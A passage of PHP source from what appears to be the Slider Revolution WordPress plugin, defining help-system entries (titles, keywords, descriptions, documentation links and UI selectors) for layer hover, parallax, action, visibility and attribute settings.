'revsliderhelp'), $a => $u . "mouse-hover-settings/#border-hover", $hl => array( $dp => array('layerselected'), $m => "#module_layers_trigger, #gst_layer_9", $st => '#form_layer_hover .form_inner:nth-child(6)', $f => "#layerBorderColorHover" ) ), 'border_style' => array( $t => __("Border Style", 'revsliderhelp'), $h => "hover.borderStyle", $k => array("border", "border style", "layer border", "layer border style", "layers border"), $d => __("The CSS border-style for the Layer on mouse hover", 'revsliderhelp'), $a => $u . "mouse-hover-settings/#border-hover", $hl => array( $dp => array('layerselected'), $m => "#module_layers_trigger, #gst_layer_9", $st => '#form_layer_hover .form_inner:nth-child(6)', $f => "#hover_layer_border_style" ) ), 'border_size' => array( 'border_width_top' => array( $t => __("Border Top Width", 'revsliderhelp'), $h => "hover.borderWidth.0", $k => array("border", "border size", "layer border", "layer border size", "layers border", "border-width"), $d => __("The border's top size (border-top-width) for the Layer on mouse hover", 'revsliderhelp'), $a => $u . "mouse-hover-settings/#border-hover", $hl => array( $dp => array('layerselected'), $m => "#module_layers_trigger, #gst_layer_9", $st => '#form_layer_hover .form_inner:nth-child(6)', $f => "*[data-r='hover.borderWidth.0']" ) ), 'border_width_right' => array( $t => __("Border Right Width", 'revsliderhelp'), $h => "hover.borderWidth.1", $k => array("border", "border size", "layer border", "layer border size", "layers border", "border-width"), $d => __("The border's right size (border-right-width) for the Layer on mouse hover", 'revsliderhelp'), $a => $u . "mouse-hover-settings/#border-hover", $hl => array( $dp => array('layerselected'), $m => "#module_layers_trigger, #gst_layer_9", $st => '#form_layer_hover .form_inner:nth-child(6)', $f => "*[data-r='hover.borderWidth.1']" ) ), 'border_width_bottom' => array( $t => __("Border Bottom Width", 'revsliderhelp'), $h => "hover.borderWidth.2", $k => array("border", "border size", "layer border", "layer border size", "layers border", "border-width"), $d => __("The border's bottom size (border-bottom-width) for the Layer on mouse hover", 'revsliderhelp'), $a => $u . "mouse-hover-settings/#border-hover", $hl => array( $dp => array('layerselected'), $m => "#module_layers_trigger, #gst_layer_9", $st => '#form_layer_hover .form_inner:nth-child(6)', $f => "*[data-r='hover.borderWidth.2']" ) ), 'border_width_left' => array( $t => __("Border Left Width", 'revsliderhelp'), $h => "hover.borderWidth.3", $k => array("border", "border size", "layer border", "layer border size", "layers border", "border-width"), $d => __("The border's left size (border-left-width) for the Layer on mouse hover", 'revsliderhelp'), $a => $u . "mouse-hover-settings/#border-hover", $hl => array( $dp => array('layerselected'), $m => "#module_layers_trigger, #gst_layer_9", $st => '#form_layer_hover .form_inner:nth-child(6)', $f => "*[data-r='hover.borderWidth.3']" ) ) ), 'border_radius' => array( 'border_radius_top_left' => array( $t => __("Border Radius Top Left", 'revsliderhelp'), $h => "hover.borderRadius.v.0", $k => array("border radius", "border-radius", "layer border radius", "layer border-radius"), $d => __("The top-left corner border-radius for the Layer on mouse hover (px or %)", 'revsliderhelp'), $a => $u . "mouse-hover-settings/#border-hover", $hl => array( $dp => array('layerselected'), $m => "#module_layers_trigger, #gst_layer_9", $st => '#form_layer_hover .form_inner:nth-child(6)', $f => "*[data-r='hover.borderRadius.v.0']" ) ), 'border_radius_top_right' => array( $t => __("Border Radius Top Right", 'revsliderhelp'), $h => "hover.borderRadius.v.1", $k => array("border radius", "border-radius", "layer border radius", "layer border-radius"), $d => __("The top-right corner border-radius for the Layer on mouse hover (px or %)", 'revsliderhelp'), $a => $u . "mouse-hover-settings/#border-hover", $hl => array( $dp => array('layerselected'), $m => "#module_layers_trigger, #gst_layer_9", $st => '#form_layer_hover .form_inner:nth-child(6)', $f => "*[data-r='hover.borderRadius.v.1']" ) ), 'border_radius_bottom_left' => array( $t => __("Border Radius Bottom Left", 'revsliderhelp'), $h => "hover.borderRadius.v.2", $k => array("border radius", "border-radius", "layer border radius", "layer border-radius"), $d => __("The bottom-left corner border-radius for the Layer on mouse hover (px or %)", 'revsliderhelp'), $a => $u . "mouse-hover-settings/#border-hover", $hl => array( $dp => array('layerselected'), $m => "#module_layers_trigger, #gst_layer_9", $st => '#form_layer_hover .form_inner:nth-child(6)', $f => "*[data-r='hover.borderRadius.v.2']" ) ), 'border_radius_bottom_right' => array( $t => __("Border Radius Bottom Right", 'revsliderhelp'), $h => "hover.borderRadius.v.3", $k => array("border radius", "border-radius", "layer border radius", "layer border-radius"), $d => __("The bottom-right corner border-radius for the Layer on mouse hover (px or %)", 'revsliderhelp'), $a => $u . "mouse-hover-settings/#border-hover", $hl => array( $dp => array('layerselected'), $m => "#module_layers_trigger, #gst_layer_9", $st => '#form_layer_hover .form_inner:nth-child(6)', $f => "*[data-r='hover.borderRadius.v.3']" ) ) ) ), 'filter_hover' => array( 'blur' => array( $t => __("Blur Filter", 'revsliderhelp'), $h => "hover.filter.blur", $k => array("animate filter", "filter animation", "filter", "filters", "blur filter", "blur"), $d => __("The blur filter value for the Layer on mouse hover", 'revsliderhelp'), $a => $u . "mouse-hover-settings/#filter-hover", $hl => array( $dp => array('layerselected'), $m => "#module_layers_trigger, #gst_layer_9", $st => '#form_layerstyle_css_hover', $f => "*[data-r='hover.filter.blur']" ) ), 'brightness' => array( $t => __("Brightness", 'revsliderhelp'), $h => "hover.filter.brightness", $k => array("animate filter", "filter animation", "filter", "filters", "brightness filter", "brightness"), $d => __("The brightness filter value for the Layer on mouse hover", 'revsliderhelp'), $a => $u . "mouse-hover-settings/#filter-hover", $hl => array( $dp => array('layerselected'), $m => "#module_layers_trigger, #gst_layer_9", $st => '#form_layerstyle_css_hover', $f => "*[data-r='hover.filter.brightness']" ) ), 'grayscale' => array( $t => __("Grayscale", 'revsliderhelp'), $h => "hover.filter.grayscale", $k => array("animate filter", "filter animation", "filter", "filters", "grayscale filter", "grayscale"), $d => __("The grayscale filter value for the Layer on mouse hover", 'revsliderhelp'), $a => $u . "mouse-hover-settings/#filter-hover", $hl => array( $dp => array('layerselected'), $m => "#module_layers_trigger, #gst_layer_9", $st => '#form_layerstyle_css_hover', $f => "*[data-r='hover.filter.grayscale']" ) ) ) ), 'gst_layer_8' => array( 'level' => array( $t => __("Parallax Level", 'revsliderhelp'), $h => "effects.parallax", $k => array("parallax", "layer parallax", "parallax 3d", "parallax level", "level", "3d level", "parallax layer", "depth", "parallax depth", "3d depth"), $d => __("The parallax depth level to use for the Layer. Level values are defined in the Slider Settings.", 'revsliderhelp'), $a => $u . "layers-parallax-level/", $hl => array( $dp => array('layerselected'), $m => "#module_layers_trigger, #gst_layer_8", $st => '#form_layercontent_pddd', $f => "#layer_parallax_level" ) ), 'under_mask' => array( $t => __("Parallax Masking", 'revsliderhelp'), $h => "effects.pxmask", $k => array("parallax", "layer parallax", "parallax 3d", "parallax layer", "mask", "masking", "parallax mask"), $d => __("Apply a mask to the Layer as the Parallax Effect takes place. When applied, the content will never bleed outside this mask.", 'revsliderhelp'), $a => $u . "layers-parallax-level/", $hl => array( $dp => array('layerselected'), $m => "#module_layers_trigger, #gst_layer_8", $st => '#form_layercontent_pddd', $f => "#parallax_undermask" ) ), 'timeline_scroll' => array( $t => __("Timeline Scroll Based", 'revsliderhelp'), $h => "timeline.scrollBased", $k => array("parallax", "layer parallax", "parallax layer", "timeline", "timeline scroll", "timeline scroll based", "scroll"), $d => __("Choose to animate the Layer's animation timeline as the Module scrolls into and out of view", 'revsliderhelp'), $a => $u . "layers-parallax-level/", $hl => array( $dp => array('layerselected'), $m => "#module_layers_trigger, #gst_layer_8", $st => '#form_layertimeline_scrollbased', $f => "#layer_timlinescroll_level" ) ), 'filter_effects' => array( $t => __("Filter Effect Scroll Based", 'revsliderhelp'), $h => "effects.effect", $k => array("parallax", "layer parallax", "parallax layer", "filter", "filters", "scroll", "filter effect"), $d => __("Enable/Disable filter effects for the Layer as the Module scrolls into and out of view. Filter effects applied via the Module Settings", 'revsliderhelp'), $a => $u . "layers-parallax-level/", $hl => array( $dp => array('layerselected'), $m => "#module_layers_trigger, #gst_layer_8", $st => '#form_layertimeline_scrollbased', $f => "#layer_effectscroll_level" ) ) ), 'gst_layer_5' => array( 'interaction' => array( $t => __("Interaction", 'revsliderhelp'), $h => "actions.action.#actionindex#.tooltip_event", $k => array("actions", "interation", "link", "hyperlink", "link layer", "layer link", "click", "hover", "mouseover", "mouse over", "mouse hover", "button", "button action"), $d => __("Choose if the Action should occur on user-click, mouse-over or mouse-out", 'revsliderhelp'), $a => $u . "actions-panel-overview/", $hl => array( $dp => array('.single_layer_action:first-child'), $m => "#module_layers_trigger, #gst_layer_5", $st => '{actions}#layeraction_group_link', $f => "#layeraction_picker_link, #action_interaction", 'modal' => 'actions' ) ), 'action_type' => array( $di => "layer_action_type", $t => __("Action Type", 'revsliderhelp'), $h => "actions.action.#actionindex#.action", $k => array("actions", "action type", "link", "hyperlink", "link layer", "layer link", "click", "hover", "mouseover", "mouse over", "mouse hover"), $d => __("Choose which Action should occur when the user interacts with the Layer", 'revsliderhelp'), $a => $u . "actions-panel-overview/", $hl => array( $dp => array('.single_layer_action:first-child'), $m => "#module_layers_trigger, #gst_layer_5", $st => '{actions}#layeraction_group_link', $f => "#layeraction_picker_link, #layer_action_type", 'modal' => 'actions' ) ), 'action_delay' => array( $t => __("Action Delay", 'revsliderhelp'), $h => "actions.action.#actionindex#.action_speed", $k => array("action delay", "delay", "delay action"), $d => __("Add an optional delay before the Action occurs (in milliseconds)", 'revsliderhelp'), $a => $u . "actions-panel-overview/", $hl => array( $dp => array('.single_layer_action:first-child'), $m => "#module_layers_trigger, #gst_layer_5", $st => '{actions}#layeraction_group_link', $f => "#layeraction_picker_link, #layer_action_delay", 'modal' => 'actions' ) ), 'link_actions' => array( 'simple_link' => array( 'link_url' => array( $t => __("Link URL", 'revsliderhelp'), $h => "actions.action.#actionindex#.image_link", $k => array("action", "actions", "link", "simple link", "hyperlink", "link layer", "layer link", "link url", "url", "button link", "link button"), $d => __("The url to navigate to for the 'Simple Link' Action", 'revsliderhelp'), $a => $u . "simple-link/", $hl => array( $dp => array( '.single_layer_action:first-child', array($p => '#slide#.layers.#layer#.actions.action.#action#.action', $v => 'link', $o => 'layer_action_type') ), $m => "#module_layers_trigger, #gst_layer_5", $st => '{actions}#layeraction_group_link', $f => "#layeraction_picker_link, #la_image_link", 'modal' => 'actions' ) ), 'link_target' => array( $t => __("Link Target", 'revsliderhelp'), $h => "actions.action.#actionindex#.link_open_in", $k => array("link", "simple link", "hyperlink", "link layer", "layer link", "link target"), $d => __("Choose if the link should be opened in the same window or in a new window", 'revsliderhelp'), $a => $u . "simple-link/", $hl => array( $dp => array( '.single_layer_action:first-child', array($p => '#slide#.layers.#layer#.actions.action.#action#.action', $v => 'link', $o => 'layer_action_type') ), $m => "#module_layers_trigger, #gst_layer_5", $st => '{actions}#layeraction_group_link', $f => "#layeraction_picker_link, #la_link_open_in", 'modal' => 'actions' ) ), 'link_type' => array( $t => __("Link Type", 'revsliderhelp'), $h => "actions.action.#actionindex#.link_type", $k => array("simple link", "link type"), $d => __("Use a traditional HTML hyperlink tag or trigger the Action via a jQuery event", 'revsliderhelp'), $a => $u . "simple-link/", $hl => array( $dp => array( '.single_layer_action:first-child', array($p => '#slide#.layers.#layer#.actions.action.#action#.action', $v => 'link', $o => 'layer_action_type') ), $m => "#module_layers_trigger, #gst_layer_5", $st => '{actions}#layeraction_group_link', $f => "#layeraction_picker_link, #la_link_type", 'modal' => 'actions' ) ), 'follow' => array( $t => __("Follow", 'revsliderhelp'), $h => "actions.action.#actionindex#.link_follow", $k => array("simple link", "follow", "nofollow", "no follow"), $d => __("Choose 'No Follow' to discourage search engines from indexing index the link", 'revsliderhelp'), $a => $u . "simple-link/", $hl => array( $dp => array( '.single_layer_action:first-child', array($p => '#slide#.layers.#layer#.actions.action.#action#.action', $v => 'link', $o => 'layer_action_type') ), $m => "#module_layers_trigger, #gst_layer_5", $st => '{actions}#layeraction_group_link', $f => "#layeraction_picker_link, #la_link_follow", 'modal' => 'actions' ) ) ), 'call_back' => array( $t => __("Call Back Function", 'revsliderhelp'), $h => "actions.action.#actionindex#.actioncallback", $k => array("action", "actions", "call back", "javascript", "javascript callback"), $d => __("Call an external JavaScript function on user-interaction", 'revsliderhelp'), $a => $u . "simple-link/", $hl => array( $dp => array( '.single_layer_action:first-child', array($p => '#slide#.layers.#layer#.actions.action.#action#.action', $v => 'callback', $o => 'layer_action_type') ), $m => "#module_layers_trigger, #gst_layer_5", $st => '{actions}#layeraction_group_link', $f => "#layeraction_picker_callback, #la_actioncallback", 'modal' => 'actions' ) ), 'scroll_below_slider' => array( 'scroll_offset' => array( $t => __("Scroll Offset", 'revsliderhelp'), $h => "actions.action.#actionindex#.scrollunder_offset", $k => array("action", "actions", "scroll", "scroll action", "scroll below slider", "scroll offset"), $d => __("The page will scroll to content below the Slider, and this offset will add or subtract pixels to the total amount scrolled.", 'revsliderhelp'), $a => $u . "simple-link/", $hl => array( $dp => array( '.single_layer_action:first-child', array($p => '#slide#.layers.#layer#.actions.action.#action#.action', $v => 'scroll_under', $o => 'layer_action_type') ), $m => "#module_layers_trigger, #gst_layer_5", $st => '{actions}#layeraction_group_link', $f => "#layeraction_picker_scroll_under, #la_scrollunder_offset", 'modal' => 'actions' ) ), 'easing' => array( $t => __("Scroll Easing", 'revsliderhelp'), $h => "actions.action.#actionindex#.action_easing", $k => array("scroll", "scroll action", "scroll easing"), $d => __("The easing equation for the Scroll Action. View visualization", 'revsliderhelp'), $a => $u . "simple-link/", $hl => array( $dp => array( '.single_layer_action:first-child', array($p => '#slide#.layers.#layer#.actions.action.#action#.action', $v => 'scroll_under', $o => 'layer_action_type') ), $m => "#module_layers_trigger, #gst_layer_5", $st => '{actions}#layeraction_group_link', $f => "#layeraction_picker_scroll_under, #la_action_easing", 'modal' => 'actions' ) ), 'duration' => array( $t => __("Scroll Duration", 'revsliderhelp'), $h => "actions.action.#actionindex#.action_speed", $k => array("scroll", "scroll action", "scroll duration"), $d => __("The easing duration for the Scroll Action in milliseconds", 'revsliderhelp'), $a => $u . "simple-link/", $hl => array( $dp => array( '.single_layer_action:first-child', array($p => '#slide#.layers.#layer#.actions.action.#action#.action', $v => 'scroll_under', $o => 'layer_action_type') ), $m => "#module_layers_trigger, #gst_layer_5", $st => '{actions}#layeraction_group_link', $f => "#layeraction_picker_scroll_under, #la_saction_speed", 'modal' => 'actions' ) ), ) ), 'slide_actions' => array( 'jump_to_slide' => array( $t => __("Jump to Slide", 'revsliderhelp'), $h => "actions.action.#actionindex#.jump_to_slide", $k => array("action", "actions", "jump", "jump to slide", "change slides"), $d => __("Link the Layer to a specific Slide", 'revsliderhelp'), $a => $u . "slide-actions/", $hl => array( $dp => array( '.single_layer_action:first-child', array($p => '#slide#.layers.#layer#.actions.action.#action#.action', $v => 'jumpto', $o => 'layer_action_type') ), $m => "#module_layers_trigger, #gst_layer_5", $st => '{actions}#layeraction_group_slide', $f => "#layeraction_picker_jumpto, #la_jump_to_slide", 'modal' => 'actions' ) ), 'next_prev_slide' => array( $t => __("Next/Previous Slide", 'revsliderhelp'), $h => "layeraction_picker_next", $k => array("action", "actions", "next slide", "prev slide", "previous slide", "link to slide", "change slides"), $d => __("Change to the next or previous Slide on user-interaction", 'revsliderhelp'), $a => $u . "slide-actions/", $hl => array( $dp => array( '.single_layer_action:first-child', array($p => '#slide#.layers.#layer#.actions.action.#action#.action', $v => 'next::prev', $o => 'layer_action_type') ), $m => "#module_layers_trigger, #gst_layer_5", $st => '{actions}#layeraction_group_slide', $f => "#layeraction_picker_prev, #layeraction_picker_next, #layer_action_type", 'modal' => 'actions' ) ), 'pause_play_slider' => array( $t => __("Pause/Play Slider", 'revsliderhelp'), $h => "layeraction_picker_pause", $k => array("action", "actions", "pause slide", "progress", "pause slider", "pause progress", "pause", "play slide", "play slider", "play", "resume", "resume progress", "play button", "pause button"), $d => __("Pause or Resume the Slider's progress on user-interaction", 'revsliderhelp'), $a => $u . "slide-actions/", $hl => array( $dp => array( '.single_layer_action:first-child', array($p => '#slide#.layers.#layer#.actions.action.#action#.action', $v => 'pause::resume', $o => 'layer_action_type') ), $m => "#module_layers_trigger, #gst_layer_5", $st => '{actions}#layeraction_group_slide', $f => "#layeraction_picker_pause, #layeraction_picker_resume, #layer_action_type", 'modal' => 'actions' ) ), 'toggle_slider' => array( $t => __("Toggle Slider", 'revsliderhelp'), $h => "layeraction_picker_toggle_slider", $k => array("pause slide", "progress", "pause slider", "pause progress", "pause", "play slide", "progress", "play slider", "play", "resume", "resume progress", "toggle", "toggle slider", "toggle progress"), $d => __("Play/Pause the Slider on user-interaction", 'revsliderhelp'), $a => $u . "slide-actions/", $hl => array( $dp => array( '.single_layer_action:first-child', array($p => '#slide#.layers.#layer#.actions.action.#action#.action', $v => 'toggle_slider', $o => 'layer_action_type') ), $m => "#module_layers_trigger, #gst_layer_5", $st => '{actions}#layeraction_group_slide', $f => "#layeraction_picker_toggle_slider, #layer_action_type", 'modal' => 'actions' ) ) ), 'layer_actions' => array( 'start_layer_in_out_animation' => array( $t => __("Start Layer In/Out Animation", 'revsliderhelp'), $h => "layeraction_picker_start_in", $k => array("animation", "action", "actions", "start animation", "play animation", "start layer in animation", "start layer out animation", "layer animation"), $d => __("Play a Layer's animation on-demand to show or hide the Layer", 'revsliderhelp'), $a => $u . "layer-actions/", $hl => array( $dp => array( '.single_layer_action:first-child', array($p => '#slide#.layers.#layer#.actions.action.#action#.action', $v => 'start_in::start_out', $o => 'layer_action_type') ), $m => "#module_layers_trigger, #gst_layer_5", $st => '{actions}#layeraction_group_layer', $f => "#layeraction_picker_start_in, #layeraction_picker_start_out, #layer_action_type", 'modal' => 'actions' ) ), 'toggle_layer_animation' => array( $t => __("Toggle Layer Animation", 'revsliderhelp'), $h => "layeraction_picker_toggle_layer", $k => array("start animation", "play animation", "start layer out animation", "layer animation", "toggle animation", "toggle layer", "toggle layer animation", "toggle"), $d => __("Toggle any given Layer's animation in and out of view", 'revsliderhelp'), $a => $u . "layer-actions/", $hl => array( $dp => array( '.single_layer_action:first-child', array($p => '#slide#.layers.#layer#.actions.action.#action#.action', $v => 'toggle_layer', $o => 'layer_action_type') ), $m => "#module_layers_trigger, #gst_layer_5", $st => '{actions}#layeraction_group_layer', $f => "#layeraction_picker_toggle_layer, #layer_action_type", 'modal' => 'actions' ) ), 'simulate_click' => array( $t => __("Simulate Click", 'revsliderhelp'), $h => "layeraction_picker_simulate_click", $k => array("simulate click", "click action", "jQuery click", "trigger", "trigger click"), $d => __("Trigger a jQuery click event on any given Layer", 'revsliderhelp'), $a => $u . "layer-actions/", $hl => array( $dp => array( '.single_layer_action:first-child', array($p => '#slide#.layers.#layer#.actions.action.#action#.action', $v => 'simulate_click', $o => 'layer_action_type') ), $m => "#module_layers_trigger, #gst_layer_5", $st => '{actions}#layeraction_group_layer', $f => "#layeraction_picker_simulate_click, #layer_action_type", 'modal' => 'actions' ) ), 'toggle_class' => array( $t => __("Toggle Class", 'revsliderhelp'), $h => "actions.action.#actionindex#.toggle_class", $k => array("action", "actions", "class", "class name", "layer class", "add layer class", "remove layer class", "toggle class"), $d => __("Toggle (add/remove) a Layer's class name on user-interaction", 'revsliderhelp'), $a => $u . "layer-actions/", $hl => array( $dp => array( '.single_layer_action:first-child', array($p => '#slide#.layers.#layer#.actions.action.#action#.action', $v => 'toggle_class', $o => 'layer_action_type') ), $m => "#module_layers_trigger, #gst_layer_5", $st => '{actions}#layeraction_group_layer', $f => "#layeraction_picker_toggle_class, #la_toggle_class", 'modal' => 'actions' ) ), 'layer_action_settings' => array( 'target_layer' => array( $t => __("Target Layer", 'revsliderhelp'), $h => "actions.action.#actionindex#.layer_target", $k => array("start animation", "play animation", "start layer in animation", "layer animation", "toggle class"), $d => __("Choose which Layer to target for the Layer Action", 'revsliderhelp'), $a => $u . "layer-actions/", $hl => array( $dp => array( '.single_layer_action:first-child', array($p => '#slide#.layers.#layer#.actions.action.#action#.action', $v => 'start_in::start_out::toggle_layer::simulate_click::toggle_class', $o => 'layer_action_type') ), $m => "#module_layers_trigger, #gst_layer_5", $st => '{actions}#layeraction_group_layer', $f => "#layeraction_picker_start_in, #la_layer_target", 'modal' => 'actions' ) ), 'animation_timing' => array( $t => __("Animation Timing", 'revsliderhelp'), $h => "actions.animationoverwrite", $k => array("animation timing", "animation action"), $d => __("Choose the Layer's default animation behavior in relation to the selected Action", 'revsliderhelp'), $a => $u . "layer-actions/", $hl => array( $dp => array( '.single_layer_action:first-child', array($p => '#slide#.layers.#layer#.actions.action.#action#.action', $v => 'start_in::start_out::toggle_layer', $o => 'layer_action_type') ), $m => "#module_layers_trigger, #gst_layer_5", $st => '{actions}#layeraction_group_layer', $f => "#layeraction_picker_start_in, #la_animationoverwrite", 'modal' => 'actions' ) ), 'trigger_memory' => array( $t => __("Trigger Memory", 'revsliderhelp'), $h => "actions.triggerMemory", $k => array("trigger memory", "reset animation", "reset", "reset layer", "reset layer animation"), $d => __("Choose if the Layer's animation behavior should reset or not when the Slide replays again", 'revsliderhelp'), $a => $u . "layer-actions/", $hl => array( $dp => array( '.single_layer_action:first-child', array($p => '#slide#.layers.#layer#.actions.action.#action#.action', $v => 'start_in::start_out::toggle_layer', $o => 'layer_action_type') ), $m => "#module_layers_trigger, #gst_layer_5", $st => '{actions}#layeraction_group_layer', $f => "#layeraction_picker_start_in, #la_triggerMemory", 'modal' => 'actions' ) ) ) ), 'media_actions' => array( 'start_stop_media' => array( $t => __("Play/Pause Media", 'revsliderhelp'), $h => "layeraction_picker_start_video", $k => array("media", "video", "audio", "start media", "play media", "pause media", "end media", "resume media", "stop media", "play video", "stop video", "play audio", "stop audio", "resume", "resume media", "play button", "pause button"), $d => __("Play or pause Video or Audio on user-interaction", 'revsliderhelp'), $a => $u . "media-actions/", $hl => array( $dp => array( '.single_layer_action:first-child', array($p => '#slide#.layers.#layer#.actions.action.#action#.action', $v => 'start_video::stop_video', $o => 'layer_action_type') ), $m => "#module_layers_trigger, #gst_layer_5", $st => '{actions}#layeraction_group_media', $f => "#layeraction_picker_start_video, #layeraction_picker_stop_video, #layer_action_type", 'modal' => 'actions' ) ), 'toggle_media' => array( $t => __("Toggle Media Play/Pause", 'revsliderhelp'), $h => "layeraction_picker_toggle_video", $k => array("media", "video", "audio", "start media", "play media", "pause media", "end media", "resume media", "stop media", "play video", "stop video", "play audio", "stop audio", "resume", "resume media", "play button", "pause button"), $d => __("Toggle a video or audio's play state on user-interaction", 'revsliderhelp'), $a => $u . "media-actions/", $hl => array( $dp => array( '.single_layer_action:first-child', array($p => '#slide#.layers.#layer#.actions.action.#action#.action', $v => 'toggle_video', $o => 'layer_action_type') ), $m => "#module_layers_trigger, #gst_layer_5", $st => '{actions}#layeraction_group_media', $f => "#layeraction_picker_toggle_video, #layer_action_type", 'modal' => 'actions' ) ), 'mute_unmute_media' => array( $t => __("Mute/Unmute Media", 'revsliderhelp'), $h => "layeraction_picker_mute_video", $k => array("media", "video", "audio", "mute", "unmute", "mute media", "unmute media", "sound", "pause sound", "turn off", "turn off sound", "mute button"), $d => __("Mute or Unmute the sound from a video or audio Layer on user-interaction", 'revsliderhelp'), $a => $u . "media-actions/", $hl => array( $dp => array( '.single_layer_action:first-child', array($p => '#slide#.layers.#layer#.actions.action.#action#.action', $v => 'mute_video::unmute_video', $o => 'layer_action_type') ), $m => "#module_layers_trigger, #gst_layer_5", $st => '{actions}#layeraction_group_media', $f => "#layeraction_picker_mute_video, #layeraction_picker_unmute_video, #layer_action_type", 'modal' => 'actions' ) ), 'toggle_mute_media' => array( $t => __("Toggle Mute (All) Media", 'revsliderhelp'), $h => "layeraction_picker_toggle_mute_video", $k => array("media", "video", "audio", "mute", "unmute", "mute media", "unmute media", "sound", "pause sound", "turn off", "turn off sound", "mute button"), $d => __("Toggle sound from a single video or audio Layer, or toggle all video/audio sound that exists in the Slide", 'revsliderhelp'), $a => $u . "media-actions/", $hl => array( $dp => array( '.single_layer_action:first-child', array($p => '#slide#.layers.#layer#.actions.action.#action#.action', $v => 'toggle_mute_video::toggle_global_mute_video', $o => 'layer_action_type') ), $m => "#module_layers_trigger, #gst_layer_5", $st => '{actions}#layeraction_group_media', $f => "#layeraction_picker_toggle_mute_video, #layeraction_picker_toggle_global_mute_video, #layer_action_type", 'modal' => 'actions' ) ) ), 'fullscreen_actions' => array( 'enter_exit_fullscreen' => array( $t => __("Enter/Exit Fullscreen", 'revsliderhelp'), $h => "layeraction_picker_gofullscreen", $k => array("full", "fullscreen", "full screen", "full screen button", "fullscreen button", "exit fullscreen", "enter fullscreen", "enter full screen", "go fullscreen", "go full screen"), $d => __("Take the Slider fullscreen or exit fullscreen on user-interaction", 'revsliderhelp'), $a => $u . "fullscreen-actions/", $hl => array( $dp => array( '.single_layer_action:first-child', array($p => '#slide#.layers.#layer#.actions.action.#action#.action', $v => 'gofullscreen::exitfullscreen', $o => 'layer_action_type') ), $m => "#module_layers_trigger, #gst_layer_5", $st => '{actions}#layeraction_group_fullscreen', $f => "#layeraction_picker_gofullscreen, #layeraction_picker_exitfullscreen, #layer_action_type", 'modal' => 'actions' ) ), 'toggle_fullscreen' => array( $t => __("Toggle Fullscreen", 'revsliderhelp'), $h => "layeraction_picker_togglefullscreen", $k => array("full", "fullscreen", "full screen", "full screen button", "fullscreen button", "exit fullscreen", "enter fullscreen", "enter full screen", "go fullscreen", "go full screen", "toggle fullscreen", "toggle full"), $d => __("Toggle the Slider fullscreen and non-fullscreen on user-interaction", 'revsliderhelp'), $a => $u . "fullscreen-actions/", $hl => array( $dp => array( '.single_layer_action:first-child', array($p => '#slide#.layers.#layer#.actions.action.#action#.action', $v => 'togglefullscreen', $o => 'layer_action_type') ), $m => "#module_layers_trigger, #gst_layer_5", $st => '{actions}#layeraction_group_fullscreen', $f => "#layeraction_picker_togglefullscreen, #layer_action_type", 'modal' => 'actions' ) ) ) ), 'gst_layer_13' => array( 'visibility' => array( 'desktop' => array( $t => __("Show/Hide on Desktop", 'revsliderhelp'), $h => "visibility.d", $k => array("visibility", "layer visibility", "show layer", "hide layer"), $d => __("Show or hide the Layer for the desktop viewport", 'revsliderhelp'), $a => $u . "responsive-settings/", $hl => array( $dp => array('layerselected'), $m => "#module_layers_trigger, #gst_layer_13", $st => '#form_layercontent_visibility', $f => "*[data-r='visibility.d']" ) ), 'laptop' => array( $t => __("Show/Hide on Laptop", 'revsliderhelp'), $h => "visibility.n", $k => array("visibility", "layer visibility", "show layer", "hide layer"), $d => __("Show or hide the Layer for the laptop viewport", 'revsliderhelp'), $a => $u . "responsive-settings/", $hl => array( $dp => array('layerselected'), $m => "#module_layers_trigger, #gst_layer_13", $st => '#form_layercontent_visibility', $f => "*[data-r='visibility.n']" ) ), 'tablet' => array( $t => __("Show/Hide on Tablet", 'revsliderhelp'), $h => "visibility.t", $k => array("visibility", "layer visibility", "show layer", "hide layer"), $d => __("Show or hide the Layer for the tablet viewport", 'revsliderhelp'), $a => $u . "responsive-settings/", $hl => array( $dp => array('layerselected'), $m => "#module_layers_trigger, #gst_layer_13", $st => '#form_layercontent_visibility', $f => "*[data-r='visibility.t']" ) ), 'phone' => array( $t => __("Show/Hide on Phone", 'revsliderhelp'), $h => "visibility.m", $k => array("visibility", "layer visibility", "show layer", "hide layer"), $d => __("Show or hide the Layer for the phone viewport", 'revsliderhelp'), $a => $u . "responsive-settings/", $hl => array( $dp => array('layerselected'), $m => "#module_layers_trigger, #gst_layer_13", $st => '#form_layercontent_visibility', $f => "*[data-r='visibility.m']" ) ), 'hide_under' => array( $t => __("Hide Under Width", 'revsliderhelp'), $h => "visibility.hideunder", $k => array("layer visibility", "hide under", "hide under width", "show layer", "hide layer"), $d => __("Hide the Layer when the browser window is equal to or below the value set in the Slider Settings", 'revsliderhelp'), $a => $u . "responsive-settings/", $hl => array( $dp => array('layerselected'), $m => "#module_layers_trigger, #gst_layer_13", $st => '#form_layercontent_visibility', $f => "#layer_visibility_hideunder" ) ), 'show_on_mouseover' => array( $t => __("Show on Mouse Over", 'revsliderhelp'), $h => "visibility.onlyOnSlideHover", $k => array("visibility", "layer visibility", "show layer", "hide layer"), $d => __("Only show the Layer when the user hovers their mouse over the Slider", 'revsliderhelp'), $a => $u . "responsive-settings/", $hl => array( $dp => array('layerselected'), $m => "#module_layers_trigger, #gst_layer_13", $st => '#form_layercontent_visibility', $f => "#layer_visibility_showonover" ) ) ) ), 'gst_layer_11' => array( 'layer_id' => array( $t => __("Layer ID", 'revsliderhelp'), $h => "attributes.id", $k => array("layer id", "layer id attribute"), $d => __("Define an optional ID for the Layer to target it with custom CSS/JavaScript", 'revsliderhelp'), $a => $u . "layer-attributes/", $hl => array( $dp => array('layerselected'), $m => "#module_layers_trigger, #gst_layer_11", $st => '#form_layer_attributes', $f => "#layer_id" ) ), 'layer_classes' => array( $t => __("Layer Classes", 'revsliderhelp'), $h => "attributes.classes", $k => array("layer class", "layer classes"), $d => __("Add class names to the Layer to target it with custom CSS/JavaScript (separate multiple class names with spaces)", 'revsliderhelp'), $a => $u . "layer-attributes/", $hl => array( $dp => array('layerselected'), $m => "#module_layers_trigger, #gst_layer_11", $st => '#form_layer_attributes', $f => "#layer_classes" ) ), 'layer_title' => array( $t => __("Layer Title", 'revsliderhelp'), $h => "attributes.title", $k => array("layer title", "layer title attribute"), $d => __("Define the Layer's title attribute", 'revsliderhelp'), $a => $u . "layer-attributes/", $hl => array( $dp => array('layerselected'), $m => "#module_layers_trigger, #gst_layer_11", $st => '#form_layer_attributes', $f => "#layer_title" ) ), 'layer_rel' => array( $t => __("Layer Rel", 'revsliderhelp'), $h => "attributes.rel", $k => array("layer rel", "layer relattribute"), $d => __("Define the Layer's 'rel' attribute", 'revsliderhelp'), $a => $u . "layer-attributes/", $hl => array( $dp => array('layerselected'), $m => "#module_layers_trigger, 